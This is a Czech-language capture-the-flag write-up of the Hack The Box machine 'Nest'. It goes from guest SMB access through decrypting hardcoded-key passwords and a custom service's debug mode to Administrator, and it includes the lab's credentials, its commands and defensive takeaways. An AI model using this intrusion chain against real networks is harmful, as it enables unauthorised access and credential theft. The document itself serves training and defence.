Nest
Úvod a kontext
Nest je ukázka stroje, kde není potřeba žádná RCE. Celý řetězec stojí na čtení SMB sdílení, na konfiguracích uložených v nečekaných adresářích a na reverzním inženýrství dvou interních aplikací. Foothold vznikne z hostovaného hesla pro TempUser, další heslo vypadne z .NET zdrojáků a administrátorský přístup nakonec otevře vlastní HQK služba. Praktickou stránku podobného postupu shrnuji i v článku Reverzní inženýrství klienta nebo vlastní binárky jako součást běžného průniku.
Právě tím je Nest poučný. Není to stroj o exploitech, ale o trpělivém skládání indicií. Každý mezikrok vypadá malý, ale dohromady vytvoří úplnou cestu od guest přístupu k Administrator.
Počáteční průzkum
Guest SMB a služba HQK
Nmap ukáže jen dvě důležité věci: SMB na 445/tcp a nestandardní službu na 4386/tcp, která se identifikuje jako Reporting Service V1.2 a umí příkazy LIST, SETDIR, RUNQUERY a DEBUG. To je silná indicie, že vedle běžných sdílení běží i nějaký interní dotazovací nástroj.
ports=$(nmap -Pn -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -Pn -p $ports -A -sC -sV -v $IP
445/tcp open microsoft-ds?
4386/tcp open unknown
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
SMB navíc dovolí anonymní výpis sdílení, takže první logický krok vede právě tam. Praktickou roli ruční práce se sdíleními rozebírám i v článku smbclient.
smbclient -L $IP -N
Sharename Type Comment
--------- ---- -------
Data Disk
Secure$ Disk
Users Disk
TempUser z onboarding dokumentu
Na share Data se dá číst onboarding dokument pro nové zaměstnance. Ten obsahuje dočasné přihlašovací údaje TempUser / welcome2019, což je přesně ten typ informací, který má smysl okamžitě otestovat proti ostatním sdílením.
cat Shared/Templates/HR/Welcome Email.txt
Username: TempUser
Password: welcome2019
Analýza zjištění
Konfigurační soubory vedou ke C.Smith
Po přihlášení jako TempUser se otevře mnohem více podadresářů na share Data. Rozhodující stopa je v konfiguraci Notepad++, která prozradí dříve otevřený soubor \\HTB-NEST\Secure$\IT\Carl\Temp.txt. V RU_config.xml se vedle toho objeví zašifrované heslo. Právě tenhle typ lokálních stop v konfiguračních souborech a zdrojácích dobře zapadá i do článku Reverzní inženýrství klienta nebo vlastní binárky jako součást běžného průniku.
cat ./IT/Configs/NotepadPlusPlus/config.xml
=> <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
cat ./IT/Configs/RU Scanner/RU_config.xml
=> <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
Zdrojáky RU Scanner pak vysvětlí, jak heslo dešifrovat. V Utils.vb jsou natvrdo zapsané AES parametry, takže není potřeba nic lámat silou, jen zopakovat stejnou funkci lokálně.
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
Crack.vb
=> xRxRxPANCAK3SxRxRx
Tohle heslo funguje pro účet C.Smith, takže se otevře share Users a s ním i první skutečný foothold.
Získání přístupu
C.Smith a debug heslo pro HQK
Po přihlášení jako C.Smith už jde číst user.txt, ale důležitější je jiný soubor: alternatívní datový proud Debug Mode Password.txt:Password. Právě ten dává heslo pro DEBUG režim služby HQK.
Praktický kontext k tomu, kdy je práce přes smbclient jen mezikrok k dalšímu artefaktu, viz i smbclient.
smbclient -W '' //'10.10.10.178'/users -U'C.Smith'%'xRxRxPANCAK3SxRxRx'
allinfo "Debug Mode Password.txt"
more "Debug Mode Password.txt:Password"
=> WBQ201953D8w
User flag je už jen potvrzení, že účet C.Smith skutečně funguje a že se řetězec posunul z guest přístupu na reálného uživatele.
cat user.txt
__CENSORED__
Eskalace oprávnění
HQK služba a dešifrování hesla administrátora
S debug heslem se otevře plná funkcionalita HQK služby. Přes setdir a showquery 2 lze vytáhnout další zašifrované přihlašovací údaje, tentokrát pro účet Administrator. I tady je vidět, že bez reverzní analýzy vlastních binárek by řetězec zůstal neúplný.
telnet $IP 4386
debug WBQ201953D8w
setdir C:\program files\hqk\ldap
showquery 2
=> User=Administrator
=> Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
Teď už nestačí zdrojáky RU Scanner; je potřeba podívat se do HqkLdap.exe. Reverzní analýza ukáže nové kryptografické parametry a po jejich použití vyjde heslo XtH4nkS4Pl4y1nGX.
HqkLdap.exe
=> "667912" "1313Rf99" "1L1SA61493DRV53Z"
CrackAdmin.vb
=> XtH4nkS4Pl4y1nGX
S administrátorským heslem už není potřeba další exploit. Stačí se připojit na C$ a přečíst root.txt.
mount //10.10.10.178/c$ /mnt -o username=Administrator
cat /mnt/Users/Administrator/Desktop/root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Nest nezačíná zranitelností služby, ale příliš otevřeným SMB prostředím, které vydá dočasné přihlašovací údaje pro
TempUser. - Přechod na
C.Smithstojí na analýze konfiguračních souborů a zdrojákůRU Scanner, nikoliv na hrubé síle nebo exploitu. - Finální přístup k
Administratorotevře až vlastní HQK služba a druhá vrstva reverzního inženýrství nadHqkLdap.exe.
Co si odnést do praxe
- SMB share s dokumenty a konfiguracemi je potřeba brát jako citlivé aktivum. Na Nest právě z obyčejných onboarding a XML souborů vznikl celý útok.
- Šifrování tajemství v klientské aplikaci nic neřeší, pokud jsou klíče a parametry součástí binárky nebo zdrojového kódu. To je jen obfuskační vrstva, ne obrana.
- Interní služby s debug režimem musí mít přísně oddělená tajemství a audit. Jakmile debug heslo leží ve share a služba vrací další přístupové údaje, je celá izolace prostředí pryč.
Další související články
HTB Stroje
Techniky
- Dokumentová metadata jako vstup do domény
- Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli
- Legacy infrastruktura, kde banner prakticky rozhodne exploit